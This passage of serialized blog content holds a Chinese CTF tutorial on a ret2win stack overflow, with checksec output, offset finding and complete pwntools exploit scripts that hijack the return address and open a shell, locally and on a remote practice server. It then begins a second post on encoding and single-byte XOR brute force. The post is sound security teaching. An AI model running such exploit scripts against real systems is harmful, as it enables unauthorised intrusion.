意味着程序内函数地址可以直接写死。",[15,2574,1251],{},[31,2576,2578],{"className":267,"code":2577,"language":269,"meta":36,"style":36},"pwn checksec ./vuln\n",[26,2579,2580],{"__ignoreMap":36},[40,2581,2582,2585,2588],{"class":42,"line":43},[40,2583,2584],{"class":276},"pwn",[40,2586,2587],{"class":284}," checksec",[40,2589,2590],{"class":284}," ./vuln\n",[15,2592,423],{},[31,2594,2597],{"className":2595,"code":2596,"language":380,"meta":36},[378],"Arch:     amd64-64-little\nRELRO:    Partial RELRO\nStack:    No canary found\nNX:       NX enabled\nPIE:      No PIE (0x400000)\n",[26,2598,2596],{"__ignoreMap":36},[15,2600,2601],{},"只看三行：",[955,2603,2604,2616],{},[958,2605,2606],{},[961,2607,2608,2611,2613],{},[964,2609,2610],{},"行",[964,2612,1553],{},[964,2614,2615],{},"对我们意味着什么",[974,2617,2618,2631,2644],{},[961,2619,2620,2625,2628],{},[979,2621,2622],{},[26,2623,2624],{},"Stack: No canary found",[979,2626,2627],{},"没有栈金丝雀",[979,2629,2630],{},"可以直接覆盖返回地址",[961,2632,2633,2638,2641],{},[979,2634,2635],{},[26,2636,2637],{},"NX: NX enabled",[979,2639,2640],{},"栈不可执行",[979,2642,2643],{},"不能放 shellcode（本阶段先不管）",[961,2645,2646,2651,2654],{},[979,2647,2648],{},[26,2649,2650],{},"PIE: No PIE",[979,2652,2653],{},"程序地址固定",[979,2655,2656,2659],{},[26,2657,2658],{},"win"," 的地址可以直接写进 payload",[10,2661,2663],{"id":2662},"五核心步骤-2栈布局与偏移","五、核心步骤 2：栈布局与偏移",[15,2665,2666,2669],{},[26,2667,2668],{},"vuln"," 被调用时栈上自低到高：",[31,2671,2674],{"className":2672,"code":2673,"language":380,"meta":36},[378],"┌──────────────────────┐\n│  buf[32]             │ ← 输入从这里写入\n├──────────────────────┤\n│  saved rbp（8 字节）   │\n├──────────────────────┤\n│  返回地址（8 字节）     │ ← 覆盖它\n└──────────────────────┘\n",[26,2675,2673],{"__ignoreMap":36},[15,2677,2678,2679,2682],{},"偏移 = 32 + 8 = 40 字节。用 pwntools 的 ",[26,2680,2681],{},"cyclic"," 验证：",[31,2684,2686],{"className":841,"code":2685,"language":843,"meta":36,"style":36},"from pwn import *\n\np = process('./vuln')\np.sendline(cyclic(200))\n# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\np.wait()\n# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\noffset = cyclic_find(p.corefile.fault_addr)\n# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\nprint(offset)\n# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[26,2687,2688,2693,2697,2702,2707,2712,2717,2722,2727,2732,2737,2742,2747],{"__ignoreMap":36},[40,2689,2690],{"class":42,"line":43},[40,2691,2692],{},"from pwn import *\n",[40,2694,2695],{"class":42,"line":49},[40,2696,59],{"emptyLinePlaceholder":58},[40,2698,2699],{"class":42,"line":55},[40,2700,2701],{},"p = process('./vuln')\n",[40,2703,2704],{"class":42,"line":62},[40,2705,2706],{},"p.sendline(cyclic(200))\n",[40,2708,2709],{"class":42,"line":68},[40,2710,2711],{},"# cyclic(200)：生成 200 字节的\"无重复模式串\"，例如 aaaabaaacaaa...\n",[40,2713,2714],{"class":42,"line":74},[40,2715,2716],{},"# 目的：发送后程序溢出崩溃，崩溃时的地址必然取自模式串的某一段。\n",[40,2718,2719],{"class":42,"line":80},[40,2720,2721],{},"p.wait()\n",[40,2723,2724],{"class":42,"line":86},[40,2725,2726],{},"# wait()：等待子进程结束（崩溃），这样 corefile 才可用。\n",[40,2728,2729],{"class":42,"line":92},[40,2730,2731],{},"offset = cyclic_find(p.corefile.fault_addr)\n",[40,2733,2734],{"class":42,"line":98},[40,2735,2736],{},"# p.corefile.fault_addr：程序崩溃时 rip 的值（即被覆盖的返回地址）。\n",[40,2738,2739],{"class":42,"line":104},[40,2740,2741],{},"# cyclic_find(addr)：在模式串里查找该字节片段的位置，返回值就是\"到返回地址的距离\"。\n",[40,2743,2744],{"class":42,"line":110},[40,2745,2746],{},"print(offset)\n",[40,2748,2749],{"class":42,"line":116},[40,2750,2751],{},"# 预期输出 40：32 字节 buf + 8 字节 saved rbp。\n",[15,2753,423,2754,307],{},[26,2755,2756],{},"40",[10,2758,2760],{"id":2759},"六核心步骤-3pwntools-三个核心-api","六、核心步骤 3：pwntools 三个核心 API",[355,2762,2764],{"id":2763},"api-1elf读符号地址","API 1：ELF——读符号地址",[31,2766,2768],{"className":841,"code":2767,"language":843,"meta":36,"style":36},"from pwn import *\n\nelf = ELF('./vuln')\n# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n# hex(...)：转成十六进制字符串显示，方便阅读。\nprint(hex(elf.symbols['win']))\n",[26,2769,2770,2774,2778,2783,2788,2793,2798],{"__ignoreMap":36},[40,2771,2772],{"class":42,"line":43},[40,2773,2692],{},[40,2775,2776],{"class":42,"line":49},[40,2777,59],{"emptyLinePlaceholder":58},[40,2779,2780],{"class":42,"line":55},[40,2781,2782],{},"elf = ELF('./vuln')\n",[40,2784,2785],{"class":42,"line":62},[40,2786,2787],{},"# ELF('./vuln')：解析 ELF 文件，得到符号、节区等信息的对象。\n",[40,2789,2790],{"class":42,"line":68},[40,2791,2792],{},"# elf.symbols['win']：查 win 函数的虚拟地址（由符号表得到）。\n",[40,2794,2795],{"class":42,"line":74},[40,2796,2797],{},"# hex(...)：转成十六进制字符串显示，方便阅读。\n",[40,2799,2800],{"class":42,"line":80},[40,2801,2802],{},"print(hex(elf.symbols['win']))\n",[15,2804,423],{},[31,2806,2809],{"className":2807,"code":2808,"language":380,"meta":36},[378],"0x401176\n",[26,2810,2808],{"__ignoreMap":36},[355,2812,2814],{"id":2813},"api-2process启动程序","API 2：process——启动程序",[31,2816,2817],{"className":841,"code":2701,"language":843,"meta":36,"style":36},[26,2818,2819],{"__ignoreMap":36},[40,2820,2821],{"class":42,"line":43},[40,2822,2701],{},[15,2824,2825,2826,1013,2829,2832],{},"启动本地进程，之后用 ",[26,2827,2828],{},"p.sendline()",[26,2830,2831],{},"p.recvuntil()"," 交互。远程题目改成：",[31,2834,2836],{"className":841,"code":2835,"language":843,"meta":36,"style":36},"p = remote('1.2.3.4', 10001)\n",[26,2837,2838],{"__ignoreMap":36},[40,2839,2840],{"class":42,"line":43},[40,2841,2835],{},[355,2843,2845],{"id":2844},"api-3p64-sendline构造并发送-payload","API 3：p64 + sendline——构造并发送 payload",[31,2847,2849],{"className":841,"code":2848,"language":843,"meta":36,"style":36},"payload = b'A' * 40 + p64(0x401176)\n# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n# 两段拼接后，gets 会把这 48 字节全部写入栈，\n# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\np.sendline(payload)\n# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[26,2850,2851,2856,2861,2866,2871,2876,2881,2886],{"__ignoreMap":36},[40,2852,2853],{"class":42,"line":43},[40,2854,2855],{},"payload = b'A' * 40 + p64(0x401176)\n",[40,2857,2858],{"class":42,"line":49},[40,2859,2860],{},"# b'A' * 40：40 个字节的填充，正好填满 buf[32] 与 saved rbp[8]。\n",[40,2862,2863],{"class":42,"line":55},[40,2864,2865],{},"# p64(0x401176)：把 64 位整数 0x401176 打包成 8 字节小端字节串\n",[40,2867,2868],{"class":42,"line":62},[40,2869,2870],{},"# （低字节在前：76 11 40 00 00 00 00 00），作为新的返回地址。\n",[40,2872,2873],{"class":42,"line":68},[40,2874,2875],{},"# 两段拼接后，gets 会把这 48 字节全部写入栈，\n",[40,2877,2878],{"class":42,"line":74},[40,2879,2880],{},"# 前 40 字节覆盖缓冲区与 rbp，最后 8 字节正好覆盖返回地址。\n",[40,2882,2883],{"class":42,"line":80},[40,2884,2885],{},"p.sendline(payload)\n",[40,2887,2888],{"class":42,"line":86},[40,2889,2890],{},"# sendline()：发送 payload 并自动补一个换行（gets 以换行结束输入）。\n",[15,2892,2893,2896,2897,2900],{},[26,2894,2895],{},"p64"," 把 64 位整数转成 8 字节小端字节串；40 个 ",[26,2898,2899],{},"A"," 填满缓冲区与 saved rbp，后面 8 字节正好落在返回地址上。",[10,2902,2904],{"id":2903},"七完整-ret2win-脚本","七、完整 ret2win 脚本",[15,2906,2907,2909],{},[333,2908,335],{},"：把前三步串成完整 exploit。",[15,2911,2912,2914],{},[333,2913,341],{},"：等程序打印提示 → 发送\"填充 + win 地址\" → 程序 ret 跳到 win → 弹出 shell → 交互。",[31,2916,2918],{"className":841,"code":2917,"language":843,"meta":36,"style":36},"from pwn import *\n\nelf = ELF('./vuln')\np = process('./vuln')\n\np.recvuntil(b'name?')\n# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\n# 触发溢出：覆盖返回地址为 win。\np.interactive()\n# interactive()：把当前进程的输入输出接到我们的终端，\n# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[26,2919,2920,2924,2928,2932,2936,2940,2945,2950,2955,2960,2964,2969,2974,2979],{"__ignoreMap":36},[40,2921,2922],{"class":42,"line":43},[40,2923,2692],{},[40,2925,2926],{"class":42,"line":49},[40,2927,59],{"emptyLinePlaceholder":58},[40,2929,2930],{"class":42,"line":55},[40,2931,2782],{},[40,2933,2934],{"class":42,"line":62},[40,2935,2701],{},[40,2937,2938],{"class":42,"line":68},[40,2939,59],{"emptyLinePlaceholder":58},[40,2941,2942],{"class":42,"line":74},[40,2943,2944],{},"p.recvuntil(b'name?')\n",[40,2946,2947],{"class":42,"line":80},[40,2948,2949],{},"# recvuntil()：一直读取直到收到指定字节串，保证程序已走到 gets 之前。\n",[40,2951,2952],{"class":42,"line":86},[40,2953,2954],{},"# 参数 b'name?'：匹配提示文字 \"name?\"，避免过早发送导致输入丢失。\n",[40,2956,2957],{"class":42,"line":92},[40,2958,2959],{},"payload = b'A' * 40 + p64(elf.symbols['win'])\n",[40,2961,2962],{"class":42,"line":98},[40,2963,2885],{},[40,2965,2966],{"class":42,"line":104},[40,2967,2968],{},"# 触发溢出：覆盖返回地址为 win。\n",[40,2970,2971],{"class":42,"line":110},[40,2972,2973],{},"p.interactive()\n",[40,2975,2976],{"class":42,"line":116},[40,2977,2978],{},"# interactive()：把当前进程的输入输出接到我们的终端，\n",[40,2980,2981],{"class":42,"line":122},[40,2982,2983],{},"# 之后就可以像正常 shell 一样输入命令（id、cat flag 等）。\n",[15,2985,2986],{},"预期结果：",[31,2988,2991],{"className":2989,"code":2990,"language":380,"meta":36},[378],"[*] Switching to interactive mode\n$ id\nuid=1000(ctf) gid=1000(ctf)\n",[26,2992,2990],{"__ignoreMap":36},[15,2994,2995,2996,2999,3000,3003],{},"程序跳到了 ",[26,2997,2998],{},"win()","，执行 ",[26,3001,3002],{},"system(\"/bin/sh\")","，我们拿到了 shell。",[10,3005,3007],{"id":3006},"八必学工具","八、必学工具",[955,3009,3010,3022],{},[958,3011,3012],{},[961,3013,3014,3016,3019],{},[964,3015,966],{},[964,3017,3018],{},"3 个核心功能",[964,3020,3021],{},"示例",[974,3023,3024,3051,3064],{},[961,3025,3026,3029,3048],{},[979,3027,3028],{},"pwntools",[979,3030,3031,3034,3035,2138,3037,3040,3041,3043,3044,3047],{},[26,3032,3033],{},"ELF()"," 读符号、",[26,3036,2681],{},[26,3038,3039],{},"cyclic_find"," 找偏移、",[26,3042,2895],{},"+",[26,3045,3046],{},"sendline"," 构造发送",[979,3049,3050],{},"见上文",[961,3052,3053,3056,3059],{},[979,3054,3055],{},"checksec",[979,3057,3058],{},"查看栈保护、NX、PIE",[979,3060,3061],{},[26,3062,3063],{},"pwn checksec ./vuln",[961,3065,3066,3069,3072],{},[979,3067,3068],{},"GDB（+pwndbg）",[979,3070,3071],{},"断点、看栈、单步",[979,3073,3074,1013,3077,1013,3080],{},[26,3075,3076],{},"break vuln",[26,3078,3079],{},"x/20gx $rsp",[26,3081,3082],{},"continue",[10,3084,3086],{"id":3085},"九小-ctf-实战远程-ret2win","九、小 CTF 实战：远程 ret2win",[15,3088,2149,3089,3092,3093,307],{},[26,3090,3091],{},"nc 1.2.3.4 10001","，运行的就是上面的 ",[26,3094,2668],{},[15,3096,3097],{},"第一步，本地验证：",[31,3099,3101],{"className":267,"code":3100,"language":269,"meta":36,"style":36},"python3 exploit.py\n",[26,3102,3103],{"__ignoreMap":36},[40,3104,3105,3107],{"class":42,"line":43},[40,3106,917],{"class":276},[40,3108,3109],{"class":284}," exploit.py\n",[15,3111,3112,3113,3116,3117,3120],{},"第二步，把 ",[26,3114,3115],{},"process('./vuln')"," 改成 ",[26,3118,3119],{},"remote('1.2.3.4', 10001)"," 再跑：",[15,3122,3123,3125],{},[333,3124,335],{},"：本地打通后打远程。本地与远程的区别只有一行：连接方式。",[15,3127,3128,3130],{},[333,3129,1691],{},"：远程返回同样提示并弹出 shell 即成功；如果远程崩溃或没有反应，先用 checksec 确认远程程序的防护与本地一致。",[31,3132,3134],{"className":841,"code":3133,"language":843,"meta":36,"style":36},"from pwn import *\n\nelf = ELF('./vuln')\np = remote('1.2.3.4', 10001)\n# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n\npayload = b'A' * 40 + p64(elf.symbols['win'])\np.sendline(payload)\np.sendline(b'cat flag')\n# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\np.interactive()\n",[26,3135,3136,3140,3144,3148,3152,3157,3162,3166,3170,3174,3179,3184],{"__ignoreMap":36},[40,3137,3138],{"class":42,"line":43},[40,3139,2692],{},[40,3141,3142],{"class":42,"line":49},[40,3143,59],{"emptyLinePlaceholder":58},[40,3145,3146],{"class":42,"line":55},[40,3147,2782],{},[40,3149,3150],{"class":42,"line":62},[40,3151,2835],{},[40,3153,3154],{"class":42,"line":68},[40,3155,3156],{},"# remote(host, port)：建立 TCP 连接，host 是题目 IP，port 是题目端口。\n",[40,3158,3159],{"class":42,"line":74},[40,3160,3161],{},"# 之后 sendline/recvuntil/interactive 的用法与本地 process 完全一样。\n",[40,3163,3164],{"class":42,"line":80},[40,3165,59],{"emptyLinePlaceholder":58},[40,3167,3168],{"class":42,"line":86},[40,3169,2959],{},[40,3171,3172],{"class":42,"line":92},[40,3173,2885],{},[40,3175,3176],{"class":42,"line":98},[40,3177,3178],{},"p.sendline(b'cat flag')\n",[40,3180,3181],{"class":42,"line":104},[40,3182,3183],{},"# 进入 shell 后执行 cat flag，读取当前目录下的 flag 文件。\n",[40,3185,3186],{"class":42,"line":110},[40,3187,2973],{},[15,3189,423],{},[31,3191,3194],{"className":3192,"code":3193,"language":380,"meta":36},[378],"flag{ret2win}\n",[26,3195,3193],{"__ignoreMap":36},[10,3197,3199],{"id":3198},"十小结","十、小结",[15,3201,3202,3203,3205,3206,3208,3209,3211],{},"Pwn 入门主线：",[26,3204,3055],{}," 判断能不能直接打 → ",[26,3207,2681],{}," 确定偏移 → ",[26,3210,2895],{}," 构造 payload 覆盖返回地址。下一级进阶（NX + ASLR）时，目标从\"程序内的 win\"换成\"libc 里的 system\"，思路不变，详见《栈溢出与 ROP 深入实战》。",[1098,3213,3214],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}",{"title":36,"searchDepth":49,"depth":49,"links":3216},[3217,3218,3219,3220,3221,3222,3223,3224,3225,3226],{"id":2374,"depth":55,"text":2375},{"id":1195,"depth":55,"text":1196},{"id":2422,"depth":55,"text":2423},{"id":2561,"depth":55,"text":2562},{"id":2662,"depth":55,"text":2663},{"id":2759,"depth":55,"text":2760},{"id":2903,"depth":55,"text":2904},{"id":3006,"depth":55,"text":3007},{"id":3085,"depth":55,"text":3086},{"id":3198,"depth":55,"text":3199},"完整演示 Pwn 第一条,包括漏洞代码编译、checksec 防护解读、cyclic 找偏移，到用 pwntools 三个核心 API 完成 ret2win。",{"date":1115,"image":3229,"alt":3230,"tags":3231,"published":58},"/blogs-img/blog2.png","CTF Pwn 入门",[1119,2584,1122],"/blogs/ctf-pwn-overview",{"title":2369,"description":3227},"blogs/11. ctf-pwn-overview","meu72Rt9gwp_tpGxBY4J74XxZjAVK6BU7R5ezX4BNvk",{"id":3237,"title":3238,"body":3239,"description":4227,"extension":1113,"meta":4228,"navigation":58,"ogImage":4229,"path":4233,"seo":4234,"stem":4235,"__hash__":4236},"content/blogs/12. ctf-crypto-overview.md","CTF 密码学入门：编码、XOR 与 DH 密钥协商",{"type":7,"value":3240,"toc":4217},[3241,3245,3248,3316,3319,3405,3407,3413,3416,3440,3442,3448,3450,3470,3480,3484,3495,3499,3504,3548,3550,3556,3560,3565,3578,3652,3654,3660,3666,3670,3676,3707,3711,3714,3778,3780,3786,3790,3794,3797,3801,3806,3811,3852,3856,3978,3980,3986,3996,3998,4002,4005,4043,4047,4076,4080,4083,4112,4114,4120,4124,4127,4132,4135,4143,4202,4204,4209,4211,4214],[10,3242,3244],{"id":3243},"一现实背景编码每天都在用","一、现实背景：编码每天都在用",[15,3246,3247],{},"编码（Encoding）不依赖密钥，任何掌握规则的人都能还原；加密（Encryption）依赖密钥。日常网络中的编码：",[955,3249,3250,3263],{},[958,3251,3252],{},[961,3253,3254,3257,3260],{},[964,3255,3256],{},"编码",[964,3258,3259],{},"现实应用",[964,3261,3262],{},"例子",[974,3264,3265,3282,3301],{},[961,3266,3267,3270,3273],{},[979,3268,3269],{},"Base64",[979,3271,3272],{},"邮件附件（MIME）、JWT 令牌、Data URI",[979,3274,3275,3278,3279],{},[26,3276,3277],{},"ZmxhZw=="," → ",[26,3280,3281],{},"flag",[961,3283,3284,3287,3294],{},[979,3285,3286],{},"Hex",[979,3288,3289,3290,3293],{},"颜色值 ",[26,3291,3292],{},"#FF0000","、MAC 地址、哈希摘要",[979,3295,3296,3278,3299],{},[26,3297,3298],{},"666c6167",[26,3300,3281],{},[961,3302,3303,3306,3309],{},[979,3304,3305],{},"URL 编码",[979,3307,3308],{},"浏览器地址栏中的中文与特殊字符",[979,3310,3311,3278,3314],{},[26,3312,3313],{},"%66%6c%61%67",[26,3315,3281],{},[15,3317,3318],{},"先运行最小的解码例子：",[31,3320,3322],{"className":841,"code":3321,"language":843,"meta":36,"style":36},"import base64\n# base64 模块：标准库，提供 base64 编码解码函数。\n\nprint(base64.b64encode(b\"flag\"))\n# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n# 返回值是编码结果 bytes：b'ZmxhZw=='。\n\nprint(base64.b64decode(\"ZmxhZw==\"))\n# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n\nprint(bytes.fromhex(\"666c6167\"))\n# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n\nprint(b\"flag\".hex())\n# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[26,3323,3324,3329,3334,3338,3343,3348,3353,3357,3362,3367,3372,3376,3381,3386,3391,3395,3400],{"__ignoreMap":36},[40,3325,3326],{"class":42,"line":43},[40,3327,3328],{},"import base64\n",[40,3330,3331],{"class":42,"line":49},[40,3332,3333],{},"# base64 模块：标准库，提供 base64 编码解码函数。\n",[40,3335,3336],{"class":42,"line":55},[40,3337,59],{"emptyLinePlaceholder":58},[40,3339,3340],{"class":42,"line":62},[40,3341,3342],{},"print(base64.b64encode(b\"flag\"))\n",[40,3344,3345],{"class":42,"line":68},[40,3346,3347],{},"# b64encode(data)：把字节串编码成 base64，参数是待编码的 bytes，\n",[40,3349,3350],{"class":42,"line":74},[40,3351,3352],{},"# 返回值是编码结果 bytes：b'ZmxhZw=='。\n",[40,3354,3355],{"class":42,"line":80},[40,3356,59],{"emptyLinePlaceholder":58},[40,3358,3359],{"class":42,"line":86},[40,3360,3361],{},"print(base64.b64decode(\"ZmxhZw==\"))\n",[40,3363,3364],{"class":42,"line":92},[40,3365,3366],{},"# b64decode(s)：把 base64 字符串解码回原始字节，参数可以是 str 或 bytes，\n",[40,3368,3369],{"class":42,"line":98},[40,3370,3371],{},"# 返回值 b'flag'。这一步用于解开题目给的 base64 密文。\n",[40,3373,3374],{"class":42,"line":104},[40,3375,59],{"emptyLinePlaceholder":58},[40,3377,3378],{"class":42,"line":110},[40,3379,3380],{},"print(bytes.fromhex(\"666c6167\"))\n",[40,3382,3383],{"class":42,"line":116},[40,3384,3385],{},"# bytes.fromhex(hex_str)：把十六进制字符串逐对转成字节，\n",[40,3387,3388],{"class":42,"line":122},[40,3389,3390],{},"# 参数 \"666c6167\" 对应 b'flag'。用于解开题目给的 hex 密文。\n",[40,3392,3393],{"class":42,"line":128},[40,3394,59],{"emptyLinePlaceholder":58},[40,3396,3397],{"class":42,"line":134},[40,3398,3399],{},"print(b\"flag\".hex())\n",[40,3401,3402],{"class":42,"line":140},[40,3403,3404],{},"# bytes.hex()：反过来，把字节转成十六进制字符串 \"666c6167\"。\n",[15,3406,923],{},[31,3408,3411],{"className":3409,"code":3410,"language":380,"meta":36},[378],"b'ZmxhZw=='\nb'flag'\nb'flag'\n666c6167\n",[26,3412,3410],{"__ignoreMap":36},[15,3414,3415],{},"URL 编码：",[31,3417,3419],{"className":841,"code":3418,"language":843,"meta":36,"style":36},"from urllib.parse import quote, unquote\n\nprint(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\nprint(unquote(\"%66%6c%61%67\"))          # flag\n",[26,3420,3421,3426,3430,3435],{"__ignoreMap":36},[40,3422,3423],{"class":42,"line":43},[40,3424,3425],{},"from urllib.parse import quote, unquote\n",[40,3427,3428],{"class":42,"line":49},[40,3429,59],{"emptyLinePlaceholder":58},[40,3431,3432],{"class":42,"line":55},[40,3433,3434],{},"print(quote(\"你好\"))                    # %E4%BD%A0%E5%A5%BD\n",[40,3436,3437],{"class":42,"line":62},[40,3438,3439],{},"print(unquote(\"%66%6c%61%67\"))          # flag\n",[15,3441,923],{},[31,3443,3446],{"className":3444,"code":3445,"language":380,"meta":36},[378],"%E4%BD%A0%E5%A5%BD\nflag\n",[26,3447,3445],{"__ignoreMap":36},[10,3449,1196],{"id":1195},[31,3451,3453],{"className":267,"code":3452,"language":269,"meta":36,"style":36},"pip3 install pycryptodome sympy gmpy2\n",[26,3454,3455],{"__ignoreMap":36},[40,3456,3457,3459,3461,3464,3467],{"class":42,"line":43},[40,3458,2414],{"class":276},[40,3460,645],{"class":284},[40,3462,3463],{"class":284}," pycryptodome",[40,3465,3466],{"class":284}," sympy",[40,3468,3469],{"class":284}," gmpy2\n",[15,3471,3472,3473],{},"浏览器打开 CyberChef（",[3474,3475,3479],"a",{"href":3476,"rel":3477},"https://gchq.github.io/CyberChef%EF%BC%89%E3%80%82",[3478],"nofollow","https://gchq.github.io/CyberChef）。",[10,3481,3483],{"id":3482},"三核心知识-1xor-与单字节爆破","三、核心知识 1：XOR 与单字节爆破",[15,3485,3486,3487,3490,3491,3494],{},"异或的性质：",[26,3488,3489],{},"A ^ B = C","，且 ",[26,3492,3493],{},"C ^ B = A","。同一个密钥异或两次就还原，所以加密和解密是同一个运算。",[355,3496,3498],{"id":3497},"_31-加密","3.1 加密",[15,3500,3501,3503],{},[333,3502,335],{},"：先用已知明文和密钥生成密文，验证\"异或加密\"的写法，同时为后面爆破提供测试对象。",[31,3505,3507],{"className":841,"code":3506,"language":843,"meta":36,"style":36},"plain = b\"flag{xor_is_easy}\"\nkey = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n\ncipher = bytes([b ^ key for b in plain])\n# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\nprint(cipher.hex())\n# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[26,3508,3509,3514,3519,3523,3528,3533,3538,3543],{"__ignoreMap":36},[40,3510,3511],{"class":42,"line":43},[40,3512,3513],{},"plain = b\"flag{xor_is_easy}\"\n",[40,3515,3516],{"class":42,"line":49},[40,3517,3518],{},"key = 0x42   # 密钥是单个字节（0-255 的整数），这里选 0x42\n",[40,3520,3521],{"class":42,"line":55},[40,3522,59],{"emptyLinePlaceholder":58},[40,3524,3525],{"class":42,"line":62},[40,3526,3527],{},"cipher = bytes([b ^ key for b in plain])\n",[40,3529,3530],{"class":42,"line":68},[40,3531,3532],{},"# 列表推导式：对 plain 的每个字节 b，做 b ^ key（按位异或），\n",[40,3534,3535],{"class":42,"line":74},[40,3536,3537],{},"# bytes(...) 把结果整数列表转回字节串。这就是单字节 XOR 加密。\n",[40,3539,3540],{"class":42,"line":80},[40,3541,3542],{},"print(cipher.hex())\n",[40,3544,3545],{"class":42,"line":86},[40,3546,3547],{},"# .hex()：把密文字节串转成十六进制字符串，方便在题目里粘贴/对比。\n",[15,3549,923],{},[31,3551,3554],{"className":3552,"code":3553,"language":380,"meta":36},[378],"242e2325393a2d301d2b311d2723313b3f\n",[26,3555,3553],{"__ignoreMap":36},[355,3557,3559],{"id":3558},"_32-爆破密钥只有-256-种可能","3.2 爆破（密钥只有 256 种可能）",[15,3561,3562,3564],{},[333,3563,335],{},"：不知道密钥时，把 256 种可能全部试一遍。",[15,3566,3567,3569,3570,3573,3574,3577],{},[333,3568,341],{},"：如果密钥猜对了，解密结果会是一段正常文本；CTF 里 flag 固定以 ",[26,3571,3572],{},"flag{"," 开头，这就是天然的判据。用 ",[26,3575,3576],{},"b\"flag{\" in plain"," 过滤即可。",[31,3579,3581],{"className":841,"code":3580,"language":843,"meta":36,"style":36},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n\nfor k in range(256):\n    # 枚举 0-255 共 256 个可能的单字节密钥。\n    plain = bytes([b ^ k for b in cipher])\n    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n    # 异或的自反性保证：加密用 key，解密用同一个 key。\n    if b\"flag{\" in plain:\n        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n        print(\"key =\", k)           # 输出密钥数值\n        print(plain.decode())       # 输出解密出的明文\n        break\n        # 找到即停止，避免继续打印无意义结果。\n",[26,3582,3583,3588,3593,3597,3602,3607,3612,3617,3622,3627,3632,3637,3642,3647],{"__ignoreMap":36},[40,3584,3585],{"class":42,"line":43},[40,3586,3587],{},"cipher = bytes.fromhex(\"242e2325393a2d301d2b311d2723313b3f\")\n",[40,3589,3590],{"class":42,"line":49},[40,3591,3592],{},"# bytes.fromhex(...)：把题目给的十六进制密文还原成字节串。\n",[40,3594,3595],{"class":42,"line":55},[40,3596,59],{"emptyLinePlaceholder":58},[40,3598,3599],{"class":42,"line":62},[40,3600,3601],{},"for k in range(256):\n",[40,3603,3604],{"class":42,"line":68},[40,3605,3606],{},"    # 枚举 0-255 共 256 个可能的单字节密钥。\n",[40,3608,3609],{"class":42,"line":74},[40,3610,3611],{},"    plain = bytes([b ^ k for b in cipher])\n",[40,3613,3614],{"class":42,"line":80},[40,3615,3616],{},"    # 对每个密钥尝试解密：每个密文字节与 k 异或。\n",[40,3618,3619],{"class":42,"line":86},[40,3620,3621],{},"    # 异或的自反性保证：加密用 key，解密用同一个 key。\n",[40,3623,3624],{"class":42,"line":92},[40,3625,3626],{},"    if b\"flag{\" in plain:\n",[40,3628,3629],{"class":42,"line":98},[40,3630,3631],{},"        # 如果解密结果包含 flag 前缀，说明密钥猜对了。\n",[40,3633,3634],{"class":42,"line":104},[40,3635,3636],{},"        print(\"key =\", k)           # 输出密钥数值\n",[40,3638,3639],{"class":42,"line":110},[40,3640,3641],{},"        print(plain.decode())       # 输出解密出的明文\n",[40,3643,3644],{"class":42,"line":116},[40,3645,3646],{},"        break\n",[40,3648,3649],{"class":42,"line":122},[40,3650,3651],{},"        # 找到即停止，避免继续打印无意义结果。\n",[15,3653,923],{},[31,3655,3658],{"className":3656,"code":3657,"language":380,"meta":36},[378],"key = 66\nflag{xor_is_easy}\n",[26,3659,3657],{"__ignoreMap":36},[15,3661,3662,3663,3665],{},"判断依据：明文包含 ",[26,3664,3572],{}," 前缀。CTF 里 flag 都有固定格式，这就是天然的校验。",[355,3667,3669],{"id":3668},"_33-多字节-xor-简介","3.3 多字节 XOR 简介",[15,3671,3672,3673,29],{},"密钥是多个字节循环使用时，先猜密钥长度，再对每个位置分别做单字节分析。工具 